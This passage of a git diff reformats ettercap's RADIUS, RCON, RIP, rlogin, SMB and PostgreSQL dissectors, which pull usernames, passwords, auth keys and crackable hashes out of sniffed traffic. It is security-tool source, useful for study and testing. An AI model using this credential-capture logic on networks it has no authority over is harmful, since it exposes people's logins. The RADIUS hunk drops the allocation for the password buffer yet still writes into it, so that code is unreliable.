ntohs(PACKET->L4.dst), conn_status->user, conn_status->password); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql)); } @@ -174,20 +173,21 @@ FUNC_DECODER(dissector_postgresql) dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_postgresql)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - conn_status = (struct postgresql_status *) s->data; + conn_status = (struct postgresql_status *)s->data; if (conn_status->status == WAIT_AUTH && - ptr[0] == 'R' && !memcmp(ptr + 1, "\x00\x00\x00\x0c", 4) && - !memcmp(ptr + 5, "\x00\x00\x00\x05", 4)) { + ptr[0] == 'R' && !memcmp(ptr + 1, "\x00\x00\x00\x0c", 4) && + !memcmp(ptr + 5, "\x00\x00\x00\x05", 4)) + { conn_status->status = WAIT_RESPONSE; conn_status->type = MD5; DEBUG_MSG("\tDissector_postgresql AUTH type is MD5"); hex_encode(ptr + 9, 4, conn_status->salt); /* save salt */ - } - else if (conn_status->status == WAIT_AUTH && - ptr[0] == 'R' && !memcmp(ptr + 1, "\x00\x00\x00\x08", 4) && - !memcmp(ptr + 5, "\x00\x00\x00\x03", 4)) { + } else if (conn_status->status == WAIT_AUTH && + ptr[0] == 'R' && !memcmp(ptr + 1, "\x00\x00\x00\x08", 4) && + !memcmp(ptr + 5, "\x00\x00\x00\x03", 4)) + { conn_status->status = WAIT_RESPONSE; conn_status->type = CT; DEBUG_MSG("\tDissector_postgresql AUTH type is clear-text!"); diff --git a/src/dissectors/ec_radius.c b/src/dissectors/ec_radius.c index 72a97fa01..baf3412f5 100644 --- a/src/dissectors/ec_radius.c +++ b/src/dissectors/ec_radius.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector RADIUS -- TCP/UDP 1645 1646 1812 1813 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector RADIUS -- TCP/UDP 1645 1646 1812 1813 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* * 0 1 2 3 @@ -41,14 +41,14 @@ * value is XORed with the first 16 octet segment of the password and * placed in the first 16 octets of the String field of the User- * Password Attribute. - * + * * If the password is longer than 16 characters, a second one-way MD5 * hash is calculated over a stream of octets consisting of the * shared secret followed by the result of the first xor. That hash * is XORed with the second 16 octet segment of the password and * placed in the second 16 octets of the String field of the User- * Password Attribute. - * + * * If necessary, this operation is repeated, with each xor result * being used along with the shared secret to generate the next hash * to xor the next segment of the password, to no more than 128 @@ -62,15 +62,15 @@ /* globals */ struct radius_header { - u_int8 code; /* type of the packet */ - #define RADIUS_ACCESS_REQUEST 0x1 - #define RADIUS_ACCESS_ACCEPT 0x2 - #define RADIUS_ACCESS_REJECT 0x3 - #define RADIUS_ACCOUNT_REQUEST 0x4 - #define RADIUS_ACCOUNT_RESPONSE 0x5 - u_int8 id; /* identifier */ + u_int8 code; /* type of the packet */ +#define RADIUS_ACCESS_REQUEST 0x1 +#define RADIUS_ACCESS_ACCEPT 0x2 +#define RADIUS_ACCESS_REJECT 0x3 +#define RADIUS_ACCOUNT_REQUEST 0x4 +#define RADIUS_ACCOUNT_RESPONSE 0x5 + u_int8 id; /* identifier */ u_int16 length; /* packet length */ - u_int8 auth[16]; /* authenticator */ + u_int8 auth[16]; /* authenticator */ }; #define RADIUS_HEADER_LEN 0x14 /* 12 bytes */ @@ -82,7 +82,7 @@ struct radius_header { FUNC_DECODER(dissector_radius); void radius_init(void); -static u_char * radius_get_attribute(u_int8 attr, u_int8 *attr_len, u_char *begin, u_char *end); +static u_char *radius_get_attribute(u_int8 attr, u_int8 *attr_len, u_char *begin, u_char *end); /************************************************/ @@ -109,16 +109,16 @@ FUNC_DECODER(dissector_radius) u_char *attributes; char *attr; u_int8 attr_len; - char user[0xff+1]; - char pass[0xff+1]; + char user[0xff + 1]; + char pass[0xff + 1]; char auth[0xff]; size_t i; - + /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + DEBUG_MSG("RADIUS --> UDP dissector_radius"); /* parse the packet as a radius header */ @@ -126,69 +126,66 @@ FUNC_DECODER(dissector_radius) /* get the pointer to the attributes list */ attributes = (u_char *)(radius + 1); - + /* we are interested only in ACCESS REQUESTS */ if (radius->code != RADIUS_ACCESS_REQUEST) return NULL; /* search for the username attribute */ - attr = (char*)radius_get_attribute(RADIUS_ATTR_USER_NAME, &attr_len, attributes, end); - + attr = (char *)radius_get_attribute(RADIUS_ATTR_USER_NAME, &attr_len, attributes, end); + /* if the attribute is not found, the packet is not interesting */ if (attr == NULL) return NULL; - /* - * max attr_len is 0xff + /* + * max attr_len is 0xff * copy the paramenter into the buffer and null terminate it */ memset(user, 0, sizeof(user)); strncpy(user, attr, attr_len); - + /* search for the password attribute */ - attr = (char*)radius_get_attribute(RADIUS_ATTR_PASSWORD, &attr_len, attributes, end); - + attr = (char *)radius_get_attribute(RADIUS_ATTR_PASSWORD, &attr_len, attributes, end); + /* if the attribute is not found, the packet is not interesting */ if (attr == NULL) return NULL; - /* - * max attr_len is 0xff + /* + * max attr_len is 0xff * copy the paramenter into the buffer and null terminate it */ memset(pass, 0, sizeof(pass)); strncpy(pass, attr, attr_len); - + for (i = 0; i < 16; i++) - snprintf(auth + i*2, 3, "%02X", radius->auth[i]); + snprintf(auth + i * 2, 3, "%02X", radius->auth[i]); - SAFE_CALLOC(PACKET->DISSECTOR.pass, attr_len * 2 + 1, sizeof(char)); - + /* save the info */ PACKET->DISSECTOR.user = strdup(user); - + for (i = 0; i < attr_len; i++) - snprintf(PACKET->DISSECTOR.pass + i*2, 3, "%02X", pass[i]); - + snprintf(PACKET->DISSECTOR.pass + i * 2, 3, "%02X", pass[i]); + PACKET->DISSECTOR.info = strdup(auth); - + /* display the message */ DISSECT_MSG("RADIUS : %s:%d -> USER: %s PASS: %s AUTH: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); - return NULL; } - -/* +/* * find a radius attribute thru the list */ -static u_char * radius_get_attribute(u_int8 attr, u_int8 *attr_len, u_char *begin, u_char *end) +static u_char *radius_get_attribute(u_int8 attr, u_int8 *attr_len, u_char *begin, u_char *end) { /* sanity check */ if (begin == NULL || end == NULL) @@ -198,13 +195,13 @@ static u_char * radius_get_attribute(u_int8 attr, u_int8 *attr_len, u_char *begi return NULL; DEBUG_MSG("radius_get_attribute: [%d]", attr); - + /* stop when the attribute list ends */ while (begin < end) { /* get the len of the attribute and subtract the header len */ *attr_len = *(begin + 1) - 2; - + /* we have found our attribute */ if (*begin == attr) { /* return the pointer to the attribute value */ @@ -217,7 +214,7 @@ static u_char * radius_get_attribute(u_int8 attr, u_int8 *attr_len, u_char *begi else return NULL; } - + /* not found */ return NULL; } @@ -225,4 +222,3 @@ static u_char * radius_get_attribute(u_int8 attr, u_int8 *attr_len, u_char *begi /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_rcon.c b/src/dissectors/ec_rcon.c index e54ff3c32..e81366bc2 100644 --- a/src/dissectors/ec_rcon.c +++ b/src/dissectors/ec_rcon.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector RCON -- UDP 27015 27960 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector RCON -- UDP 27015 27960 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -47,10 +47,10 @@ FUNC_DECODER(dissector_rcon) char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* skip messages coming from the server */ if (FROM_SERVER("rcon", PACKET)) return NULL; @@ -58,12 +58,12 @@ FUNC_DECODER(dissector_rcon) /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + DEBUG_MSG("RCON --> UDP dissector_rcon"); /* * format of an rcon-command: - * + * * 0xFF 0xFF 0xFF 0xFF "RCON authkey command" */ @@ -72,48 +72,46 @@ FUNC_DECODER(dissector_rcon) return NULL; ptr += 4; - - if ( !strncasecmp((const char*)ptr, "rcon", 4) ) { - + + if (!strncasecmp((const char *)ptr, "rcon", 4)) { + u_char *q; - + DEBUG_MSG("\tDissector_rcon RCON command\n"); - + ptr += 4; /* skip the whitespaces at the beginning */ - while(*ptr == ' ' && ptr != end) ptr++; + while (*ptr == ' ' && ptr != end) ptr++; /* reached the end */ if (ptr == end) return NULL; q = ptr; - + /* move after the authkey */ - while(*q != ' ' && q != end) q++; - + while (*q != ' ' && q != end) q++; + /* reached the end */ if (q == end) return NULL; PACKET->DISSECTOR.user = strdup("RCON"); SAFE_CALLOC(PACKET->DISSECTOR.pass, q - ptr + 1, sizeof(char)); - strlcpy(PACKET->DISSECTOR.pass, (const char*)ptr, q - ptr + 1); + strlcpy(PACKET->DISSECTOR.pass, (const char *)ptr, q - ptr + 1); - SAFE_CALLOC(PACKET->DISSECTOR.info, strlen((const char*)q) + 1, sizeof(char)); - snprintf(PACKET->DISSECTOR.info, strlen((const char*)q) + 1, "%s", q); + SAFE_CALLOC(PACKET->DISSECTOR.info, strlen((const char *)q) + 1, sizeof(char)); + snprintf(PACKET->DISSECTOR.info, strlen((const char *)q) + 1, "%s", q); DISSECT_MSG("RCON : %s:%d -> AUTHKEY: %s COMMAND: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); } - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_rip.c b/src/dissectors/ec_rip.c index 5b23a8220..28a600f50 100644 --- a/src/dissectors/ec_rip.c +++ b/src/dissectors/ec_rip.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector RIP -- UDP 520 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector RIP -- UDP 520 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* * RIP version 2 RFC 2453 @@ -56,34 +56,33 @@ #include struct rip_hdr { - u_int8 command; - u_int8 version; - u_int16 zero; - u_int16 family; - u_int16 auth_type; - u_int8 auth[16]; + u_int8 command; + u_int8 version; + u_int16 zero; + u_int16 family; + u_int16 auth_type; + u_int8 auth[16]; }; #define RIP_HEADER_SIZE 4 #define RIP_AUTH_MD5_SIZE 16 #define RIP_AUTH_MD5_COMPAT_SIZE RIP_HEADER_SIZE + RIP_AUTH_MD5_SIZE -struct rip_md5_info -{ - u_int8 command; - u_int8 version; - u_int16 zero; - u_int16 family; - u_int16 auth_type; - u_int16 packet_len; - u_int8 keyid; - u_int8 auth_len; - u_int32 sequence; - u_int32 reserv1; - u_int32 reserv2; - u_int16 afamily; - u_int16 atype; - u_int8 adigest[16]; +struct rip_md5_info { + u_int8 command; + u_int8 version; + u_int16 zero; + u_int16 family; + u_int16 auth_type; + u_int16 packet_len; + u_int8 keyid; + u_int8 auth_len; + u_int32 sequence; + u_int32 reserv1; + u_int32 reserv2; + u_int16 afamily; + u_int16 atype; + u_int8 adigest[16]; }; /* protos */ @@ -112,9 +111,9 @@ FUNC_DECODER(dissector_rip) /* don't complain about unused var */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* skip empty packets */ if (PACKET->DATA.len == 0) @@ -126,69 +125,70 @@ FUNC_DECODER(dissector_rip) rip = (struct rip_hdr *)ptr; /* switch on the version */ - switch(rip->version) { - case 2: - /* address family 0xFF Tag 2 (AUTH) */ - if ( rip->family == 0xffff && ntohs(rip->auth_type) == 0x0002 ) { - DEBUG_MSG("\tDissector_RIP version 2 simple AUTH"); - PACKET->DISSECTOR.user = strdup("RIPv2"); - PACKET->DISSECTOR.pass = strdup((char *)rip->auth); - - DISSECT_MSG("RIPv2 : %s:%d -> AUTH: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.pass); + switch (rip->version) { + case 2: + /* address family 0xFF Tag 2 (AUTH) */ + if (rip->family == 0xffff && ntohs(rip->auth_type) == 0x0002) { + DEBUG_MSG("\tDissector_RIP version 2 simple AUTH"); + PACKET->DISSECTOR.user = strdup("RIPv2"); + PACKET->DISSECTOR.pass = strdup((char *)rip->auth); + + DISSECT_MSG("RIPv2 : %s:%d -> AUTH: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.pass); + } + + if (rip->family == 0xffff && ntohs(rip->auth_type) == 0x0003) { + /* RIP v2 MD5 authentication */ + struct rip_md5_info *ripm; + ripm = (struct rip_md5_info *)ptr; + DEBUG_MSG("\tDissector_RIP version 2 MD5 AUTH"); + + if (ripm->auth_len != RIP_AUTH_MD5_SIZE && \ + ripm->auth_len != RIP_AUTH_MD5_COMPAT_SIZE) + { + return NULL; + } + + uint16_t rip_packet_len = ntohs(ripm->packet_len); + + /* validate the packet */ + if (rip_packet_len > (PACKET->DATA.len - RIP_HEADER_SIZE - \ + RIP_AUTH_MD5_SIZE)) + { + return NULL; } - if ( rip->family == 0xffff && ntohs(rip->auth_type) == 0x0003 ) { - /* RIP v2 MD5 authentication */ - struct rip_md5_info *ripm; - ripm = (struct rip_md5_info *)ptr; - DEBUG_MSG("\tDissector_RIP version 2 MD5 AUTH"); - - if (ripm->auth_len != RIP_AUTH_MD5_SIZE && \ - ripm->auth_len != RIP_AUTH_MD5_COMPAT_SIZE) { - return NULL; - } - - uint16_t rip_packet_len = ntohs(ripm->packet_len); - - /* validate the packet */ - if (rip_packet_len > (PACKET->DATA.len - RIP_HEADER_SIZE - \ - RIP_AUTH_MD5_SIZE)) { - return NULL; - } - - DISSECT_MSG("RIPv2-%s-%d:$netmd5$", - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); - - for (i = 0; i < rip_packet_len + RIP_HEADER_SIZE; i++) { - if (ptr + i == NULL) - return NULL; - - DISSECT_MSG("%02x", *(ptr+i)); - } - DISSECT_MSG("$"); - for (i = rip_packet_len + RIP_HEADER_SIZE; i < rip_packet_len + \ - RIP_HEADER_SIZE + RIP_AUTH_MD5_SIZE; i++) { - if (ptr + i == NULL) - return NULL; - - DISSECT_MSG("%02x", *(ptr+i)); - } - DISSECT_MSG("\n"); + DISSECT_MSG("RIPv2-%s-%d:$netmd5$", + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst)); + + for (i = 0; i < rip_packet_len + RIP_HEADER_SIZE; i++) { + if (ptr + i == NULL) + return NULL; + + DISSECT_MSG("%02x", *(ptr + i)); + } + DISSECT_MSG("$"); + for (i = rip_packet_len + RIP_HEADER_SIZE; i < rip_packet_len + \ + RIP_HEADER_SIZE + RIP_AUTH_MD5_SIZE; i++) + { + if (ptr + i == NULL) + return NULL; + + DISSECT_MSG("%02x", *(ptr + i)); } - break; - case 4: - /* XXX - TODO RIP v4 */ - break; + DISSECT_MSG("\n"); + } + break; + case 4: + /* XXX - TODO RIP v4 */ + break; } return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_rlogin.c b/src/dissectors/ec_rlogin.c index 4b25cd91c..7ae9ddd66 100644 --- a/src/dissectors/ec_rlogin.c +++ b/src/dissectors/ec_rlogin.c @@ -1,25 +1,25 @@ /* - ettercap -- dissector RLOGIN -- TCP 512 513 514, UDP 513 - - These ports are the well known Unix R-Services (rexec, rlogin, rshell, rwho) - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector RLOGIN -- TCP 512 513 514, UDP 513 + * + * These ports are the well known Unix R-Services (rexec, rlogin, rshell, rwho) + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -49,7 +49,7 @@ void __init rlogin_init(void) /* * rlogin sends characters one per packet for the password - * but the login is sent all together on the second packet + * but the login is sent all together on the second packet * sent by the client. */ @@ -61,18 +61,18 @@ FUNC_DECODER(dissector_rlogin) char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* skip messages from the server */ if (FROM_SERVER("rlogin", PACKET)) return NULL; - + /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + DEBUG_MSG("rlogin --> TCP dissector_rlogin"); /* create an ident to retrieve the session */ @@ -85,25 +85,25 @@ FUNC_DECODER(dissector_rlogin) dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_rlogin)); /* remember the state (used later) */ s->data = strdup("HANDSHAKE"); - + /* save the session */ session_put(s); SAFE_FREE(ident); return NULL; - } + } } - + /* the first packet after handshake */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS && s->data) { if (!strcmp(s->data, "HANDSHAKE")) { char *localuser; char *remoteuser; - localuser = (char*)ptr; + localuser = (char *)ptr; /* sanity check */ - if ((localuser + strlen(localuser) + 2) < (char*)end) + if ((localuser + strlen(localuser) + 2) < (char *)end) remoteuser = localuser + strlen(localuser) + 1; else { /* bad packet, abort the collection process */ @@ -116,14 +116,14 @@ FUNC_DECODER(dissector_rlogin) /* make room for the string */ SAFE_CALLOC(s->data, strlen(localuser) + strlen(remoteuser) + 5, sizeof(char)); - - snprintf(s->data, strlen(localuser)+strlen(remoteuser) + 5, "%s (%s)\r", remoteuser, localuser); + + snprintf(s->data, strlen(localuser) + strlen(remoteuser) + 5, "%s (%s)\r", remoteuser, localuser); SAFE_FREE(ident); return NULL; } } - + /* concat the pass to the collected user */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS && s->data) { size_t i, stringlen; @@ -131,10 +131,10 @@ FUNC_DECODER(dissector_rlogin) char str[strlen(s->data) + PACKET->DATA.disp_len + 2]; memset(str, 0, sizeof(str)); - + /* concat the char to the previous one */ snprintf(str, strlen(s->data) + PACKET->DATA.disp_len + 2, "%s%s", (char *)s->data, ptr); - + /* parse the string for backspaces and erase as wanted */ stringlen = strlen(str); for (p = str, i = 0; i < stringlen; i++) { @@ -144,62 +144,61 @@ FUNC_DECODER(dissector_rlogin) p--; } else { *p = str[i]; - p++; + p++; } } *p = '\0'; - + /* save the new string */ SAFE_FREE(s->data); s->data = strdup(str); - - /* + + /* * the user input is terminated * check if it was the password by checking * the presence of \r in the string * we store "user\rpass\r" and then we split it */ - if (strchr((const char*)ptr, '\r') || strchr((const char*)ptr, '\n')) { + if (strchr((const char *)ptr, '\r') || strchr((const char *)ptr, '\n')) { /* there is the \r and it is not the last char */ - if ( ((ptr = (u_char*)strchr(s->data, '\r')) || (ptr = (u_char*)strchr(s->data, '\n'))) - && ptr != s->data + strlen(s->data) - 1 ) { + if (((ptr = (u_char *)strchr(s->data, '\r')) || (ptr = (u_char *)strchr(s->data, '\n'))) + && ptr != s->data + strlen(s->data) - 1) + { /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); - if ( (ptr = (u_char*)strchr((const char*)PACKET->DISSECTOR.user, '\r')) != NULL ) + if ((ptr = (u_char *)strchr((const char *)PACKET->DISSECTOR.user, '\r')) != NULL) *ptr = '\0'; else { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } - - PACKET->DISSECTOR.pass = strdup((const char*)ptr + 1); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + + PACKET->DISSECTOR.pass = strdup((const char *)ptr + 1); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - - /* - * delete the session to remember that + + /* + * delete the session to remember that * user and pass was collected */ session_del(ident, DISSECT_IDENT_LEN); SAFE_FREE(ident); - + /* display the message */ DISSECT_MSG("RLOGIN : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); } } } SAFE_FREE(ident); - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_smb.c b/src/dissectors/ec_smb.c index 82d62f13f..a23250c70 100644 --- a/src/dissectors/ec_smb.c +++ b/src/dissectors/ec_smb.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector smb -- TCP 139, 445 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector smb -- TCP 139, 445 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,18 +25,18 @@ #include typedef struct { - u_char proto[4]; - u_char cmd; - u_char err[4]; - u_char flags1; + u_char proto[4]; + u_char cmd; + u_char err[4]; + u_char flags1; u_short flags2; u_short pad[6]; u_short tid, pid, uid, mid; } SMB_header; typedef struct { - u_char mesg; - u_char flags; + u_char mesg; + u_char flags; u_short len; } NetBIOS_header; @@ -44,26 +44,25 @@ typedef struct { u_char challenge[8]; u_char response1[24]; /* LM response OR cleartext password */ u_char response2[24]; /* NTLM respones */ - #define MAX_USER_LEN 28 +#define MAX_USER_LEN 28 u_char user[MAX_USER_LEN]; u_char domain[MAX_USER_LEN]; u_char status; - #define WAITING_PLAIN_TEXT 1 - #define WAITING_CHALLENGE 2 - #define WAITING_RESPONSE 3 - #define WAITING_ENCRYPT 4 - #define WAITING_LOGON_RESPONSE 5 - #define LOGON_COMPLETED_OK 6 - #define LOGON_COMPLETED_FAILURE 7 +#define WAITING_PLAIN_TEXT 1 +#define WAITING_CHALLENGE 2 +#define WAITING_RESPONSE 3 +#define WAITING_ENCRYPT 4 +#define WAITING_LOGON_RESPONSE 5 +#define LOGON_COMPLETED_OK 6 +#define LOGON_COMPLETED_FAILURE 7 u_char auth_type; - #define PLAIN_TEXT_AUTH 1 - #define CHALLENGE_RESPONSE_AUTH 2 - #define NTLMSSP_AUTH 3 - +#define PLAIN_TEXT_AUTH 1 +#define CHALLENGE_RESPONSE_AUTH 2 +#define NTLMSSP_AUTH 3 } smb_session_data; -#define IF_IN_PCK(x,y) if((x) >= y->packet && (x) < (y->packet + y->len) ) +#define IF_IN_PCK(x, y) if ((x) >= y->packet && (x) < (y->packet + y->len)) /* protos */ @@ -72,7 +71,6 @@ void smb_init(void); unsigned char *GetUser(unsigned char *user, unsigned char *dest, int len); void GetBinaryE(unsigned char *binary, char *dest, int len); - /************************************************/ /* @@ -97,31 +95,31 @@ FUNC_DECODER(dissector_smb) char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + ptr = PACKET->DATA.data; /* Catch netbios and smb headers */ NetBIOS = (NetBIOS_header *)ptr; smb = (SMB_header *)(NetBIOS + 1); - + /* Let's go to the data */ ptr = (u_char *)(smb + 1); dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_smb)); - + /* Is this a brand new session? */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); - + /* Check if it's smb */ - if (memcmp(smb->proto, "\xffSMB", 4) != 0) - return NULL; + if (memcmp(smb->proto, "\xffSMB", 4) != 0) + return NULL; - /* Negotiate Protocol Response */ - if (smb->cmd == 0x72 && FROM_SERVER("smb", PACKET)) { + /* Negotiate Protocol Response */ + if (smb->cmd == 0x72 && FROM_SERVER("smb", PACKET)) { PACKET->DISSECTOR.banner = strdup("SMB"); /* Create the session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_smb)); @@ -132,16 +130,16 @@ FUNC_DECODER(dissector_smb) /* HOOK POINT: HOOK_PROTO_SMB */ hook_point(HOOK_PROTO_SMB, PACKET); - /* - * Check the Security Mode + /* + * Check the Security Mode * 010 (encrypted) 000 (plaintext) */ if (!(ptr[3] & 2)) { - session_data->auth_type = PLAIN_TEXT_AUTH; + session_data->auth_type = PLAIN_TEXT_AUTH; session_data->status = WAITING_PLAIN_TEXT; } else { ptr += (*ptr) * 2; /* Last Word Field */ - + /* Check Encryption Key Len */ if (*ptr != 0) { ptr += 3; /* Got to Blob */ @@ -154,14 +152,14 @@ FUNC_DECODER(dissector_smb) } } } - - /* Session Setup if Negotiate Protocol has been done */ + + /* Session Setup if Negotiate 